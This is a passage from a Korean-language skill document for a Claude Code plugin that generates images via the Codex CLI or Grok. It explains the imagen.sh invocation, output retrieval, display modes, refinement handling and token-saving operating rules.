SEQ=$((SEQ + 1))193 TARGET_PATH="${TARGET_DIR}/${SLUG}-$(printf '%02d' $SEQ).png"194done195196echo "$TARGET_PATH" # imagen.sh 에 넘길 절대 경로 (동적 계산된 값, 하드코딩 아님)197```198199최종 경로 예 (프로젝트 루트가 `/Users/chulrolee/gptaku_plugins` 일 때):200`/Users/chulrolee/gptaku_plugins/images/2026-04-22/busan-gwangan-bridge-night-01.png`201202### Step 6: Codex 이미지 생성 호출203204`${CLAUDE_PLUGIN_ROOT}/skills/image/scripts/imagen.sh`를 실행 (3번째 인자로 비율을 주면 실측 비율과 비교해 경고, `--ref`로 스타일 앵커 이미지 첨부 가능):205206```bash207bash ${CLAUDE_PLUGIN_ROOT}/skills/image/scripts/imagen.sh \208 "{prompt_file_path}" \209 "{target_image_path}" \210 "{aspect e.g. 16:9 — 생략 가능}" \211 --backend "{codex|grok — Step 3 선택 결과, 생략 시 codex}" \212 --ref "{anchor_image_path — 생략 가능, 반복 가능}"213```214215**`--backend grok` (Step 3에서 Grok 선택 시)**: `grok` 헤드리스(`image_gen`)로 생성한다. 비율은 9:16/16:9/1:1만 유효(그 외는 스크립트가 1:1로 강제 + 경고). `--ref`를 주면 `image_edit`(레퍼런스 편집)로 동작한다. 사전 조건: grok CLI 설치(`$HOME/.grok/bin/grok`) + `grok login`. 미설치/미로그인이면 스크립트가 exit 3으로 실패하니 사용자에게 알리고 codex 재생성 여부를 확인한다. Step 4-bis(imagen-full.sh Codex 위임)는 codex 백엔드 전용이다.216217**`--ref` (스타일 앵커)**: 여러 장을 같은 스타일로 뽑을 때는 1장을 먼저 생성·승인받고, 나머지를 전부 그 파일을 `--ref`로 물려 생성한다(앵커 우선 패턴). 레퍼런스가 있으면 프롬프트에서 스타일 서술을 걷어내고 "첨부 이미지의 스타일·조명·색감 유지" + 피사체·구도 델타만 쓴다 — 레퍼런스가 이미 묶은 것을 긴 산문으로 재서술하면 둘이 싸운다. 스타일 일관성 수단 서열(1차 출처 리서치 2026-08-22): 레퍼런스 이미지 ≫ 텍스트 재사용 ≫ seed(미신 — 어느 벤더도 프롬프트가 달라진 뒤의 재현을 보장하지 않음).218219스크립트 내부에서:2201. `codex features list`로 image_generation feature flag 재확인 (안전망)2212. `codex exec --json … < /dev/null` 호출 — codex가 image 도구로 1장 생성.222 — ⚠️ bypass 플래그는 **비대화형 실행용**이며 동작은 대상 경로 1개 쓰기로 한정. 신뢰하는 본인 프로젝트에서만. `< /dev/null`은 exec가 stdin EOF를 무한 대기(헤드리스 행)하는 것을 막는다.223 — ⚠️ 레퍼런스는 내부적으로 `--image=<path>`(파일당 1개)로 전달된다. `-i FILE...`은 가변 인자라 뒤따르는 프롬프트를 이미지 경로로 삼켜 "No prompt provided" 실패를 만든다(실측 2026-08-22).2243. **핵심 (회수 계약, codex-cli 0.147+ 실측)**: `codex exec`는 이미지를 `~/.codex/generated_images/<thread_id>/exec-*.png`로 **저장**하고 stdout JSONL에는 base64를 **싣지 않는다**. → 스크립트가 stdout의 `thread.started.thread_id`(디렉토리명과 1:1)로 이 세션 산출물만 집어 타깃에 복사한다(동시 실행과 경합 없음). 구버전 codex 호환용으로 stdout(JSONL)·세션 rollout의 base64 디코딩 폴백을 유지한다. 생성 0장이면 거짓 성공 없이 exit 5.2254. 실측 해상도(`sips`) + 요청 비율과 큰 괴리 시 경고. 후처리는 절대 하지 않음.2265. **프록시 우회** — 로컬 프록시(`HTTP_PROXY`/`HTTPS_PROXY`)가 환경에 상속돼 있으면 codex 호출에서만 벗긴다. 프록시를 경유하면 이미지 엔드포인트 요청이 ~153초 뒤 `network error`로 죽는다(2026-07-23 실측: 경유 89/89 실패, 우회 시 동일 프롬프트 44초 성공). 해제는 `PUMASI_IMAGE_KEEP_PROXY=1`.2276. **실패 사유 표면화** — codex가 남긴 `image generation failed: …` 원문을 `REASON:`으로 출력한다. 실패했는데 사유가 안 보이면 스크립트를 우회해 직접 호출한 것이니 §핵심 원칙 1을 확인할 것.228229### Step 7: 결과 확인 + 표시 (모드별) ★ v1.8.1230231생성 모드를 판정한 후 그에 맞게 동작합니다.232233#### 모드 판정 규칙234235- **fast/no-read** (기본값): 사용자 입력에 검수/audit 키워드 없고, 모드가 텍스트 의존(E_THUMBNAIL/F_LOGO)도 아니고, 의도에 한글/영문 카피가 없을 때236- **review/read-one**: 모드가 `MODE_E_THUMBNAIL` / `MODE_F_LOGO` / 의도에 직접 인용된 카피(따옴표 묶임)가 있을 때237- **audit/read-all**: 사용자가 "검수해줘", "전부 보여줘", "꼼꼼히 확인", "review all" 명시할 때238239#### 동작2402411. 파일 존재 확인2422. `file {target_image_path}` 출력 (해상도/포맷/sha1)2432443. **모드별 분기**:245246 **fast 모드** (기본):247 - 경로 안내만:248 ```249 ✅ 생성 완료: {path} ({해상도} PNG, sha1: {prefix})250 Finder 미리보기로 확인하시거나, 깨졌으면 "이미지 보여줘"라고 말씀해주세요.251 ```252 - Read 호출 **안 함**253254 **review 모드**:255 - 위 안내 + 마지막 PNG 1장만 Read (텍스트 렌더링 검수)256 - 안내문에 "[review 모드: 텍스트 검수용 1장 표시]" 추가257258 **audit 모드**:259 - 위 안내 + 모든 PNG Read260 - 안내문에 "[audit 모드: 전체 검수]" 추가261262#### 토큰 영향 (참고)263- PNG 1장 Read = 약 1,400~3,000 비전 토큰. 1M 컨텍스트 환경에서 cached prefix에 박혀 후속 N메시지마다 `cache_read_input_tokens`에 합산됨.264- 모드 기본값 fast로 둠으로써 검수 불필요한 워크플로우의 토큰 누적을 차단.265266### Step 8: MODE_REFINE 루프 대기 (state 유지 + Step 4 재로드 금지) ★ v1.8.1267268생성 직후 다음 정보를 skill state로 유지 (대화 컨텍스트 내):269- `last_prompt_path`: 마지막 영문 프롬프트 파일 경로 (Step 4 산출물)270- `last_image_path`: 마지막 PNG 경로271- `last_manifest_path`: 마지막 manifest.json 경로 (imagen-full.sh 사용 시)272- 선택 파라미터 (mode / aspect / quality / 의도 답변 3개)273274**리파인 판정**:275276- **동일 이미지 리파인** ("색감 좀 바꿔줘", "더 밝게"):277 - Step 4 재로드 **금지** — `last_prompt_path` Read + 사용자 델타만 patch278 - 시각 컨텍스트 필요 시 `last_image_path` Read (자동으로 review 모드 진입)279 - 영문 프롬프트 재작성 필요 시 직전 호출 경로(imagen.sh 또는 imagen-full.sh) 유지280 - image-studio-prompt.md 28KB는 **절대 재로드 X**281282- **완전 새 요청**: Step 1부터 다시283284---285286## 기존 /pumasi와의 분리287288| 구분 | /pumasi (코드) | /pumasi:image (이미지) |289|------|---------------|---------------------|290| 스킬 디렉토리 | `skills/pumasi/` | `skills/image/` |291| 커맨드 | `/pumasi` | `/pumasi:image` |292| 자동 트리거 | "구현", "개발", "기능", "코드" | "이미지", "그림", "썸네일", "로고" |293| 설정 | `pumasi.config.yaml` | 사용 안 함 |294| 스크립트 | `scripts/pumasi.sh` 외 | `skills/image/scripts/imagen.sh` |295| 작업 dir | `.pumasi-job/` | 없음 (단발 요청) |296297두 스킬은 같은 플러그인 안의 독립 모듈이며 서로 간섭하지 않는다.298299---300301## References302303- `references/image-studio-prompt.md` — 모드 분류 + Output Template 시스템 프롬프트304- `references/clarification-matrix.md` — 모드별 의도 파악 질문 매트릭스305- `references/keyword-mapping.md` — 비율·퀄리티 키워드 자동 매핑 + 자연어 힌트 변환표306307## Scripts308309- `scripts/imagen.sh` — feature flag 확인·활성화 + Codex 이미지 생성 호출 + 프록시 우회 + 실패 사유 표면화 + 후처리 금지 가드 + SHA1 검증310- `scripts/imagen-full.sh` — 영문 프롬프트 작성까지 Codex에 위임(Step 4-bis). 프록시 우회·실패 사유 표면화 동일 적용311- `scripts/imagen-batch.sh` — 여러 장 일괄 생성312- `scripts/test-imagen-capture.sh` — 캡처 계약 회귀 테스트(mock codex)313314---315316## 사전 조건317318- Codex CLI 설치 (`command -v codex`)319- Codex 로그인 완료320- `codex features` 서브커맨드 사용 가능 (`codex features list`)321- (Grok 백엔드 선택 시) grok CLI 설치(`$HOME/.grok/bin/grok`) + `grok login` (구독 세션, `XAI_API_KEY` 불필요)322323---324325## 운영 규칙 (토큰 효율) ★ v1.8.1326327이 스킬을 사용하는 호출자(Claude)는 다음 규칙을 준수합니다:3283291. **Step 7 모드 기본값 fast** — 명시적 검수 요청이 없으면 PNG Read 호출 안 함. PNG 1장 Read = 약 1,400~3,000 비전 토큰이 cached prefix에 박혀 후속 N메시지마다 `cache_read_input_tokens`에 합산됨.3302. **MODE_REFINE 시 Step 4 재로드 금지** — `last_prompt_path` Read + 델타 patch만. image-studio-prompt.md 28KB는 절대 재로드 X.3313. **여러 장 일괄 생성 시** — imagen-batch.sh 가용하면 사용, 아니면 imagen.sh를 순차 호출하되 각 호출 사이에 결과 보고를 묶어서 처리 (Bash 라운드트립 감소).3324. **검수 분리 권장** — 5장 이상 생성한 후 검수가 필요하면 별도 짧은 세션에서 audit 모드 사용 (메인 세션 prefix에 비전 토큰 영구 누적 방지).3335. **A+B 동시 기본값 금지** — `PUMASI_IMAGE_DELEGATE_PROMPT=1`은 feature flag로만 활성화. Step 7 fast 모드와 동시 적용 시 MODE_REFINE 컨텍스트 부서짐 위험.334335---336337## 변경 이력338339- **v1.8.1** (2026-05-19): 토큰 최적화 패치340 - Step 7 모드화 (fast/review/audit) — PNG Read 자동 호출 제거341 - Step 8 state 유지 + Step 4 재로드 금지 명시342 - Step 4-bis 신규 (feature flag `PUMASI_IMAGE_DELEGATE_PROMPT`)343 - 운영 규칙 5개 추가344 - 신규 스크립트: `imagen-full.sh` (Codex 위임), `imagen-batch.sh` (일괄)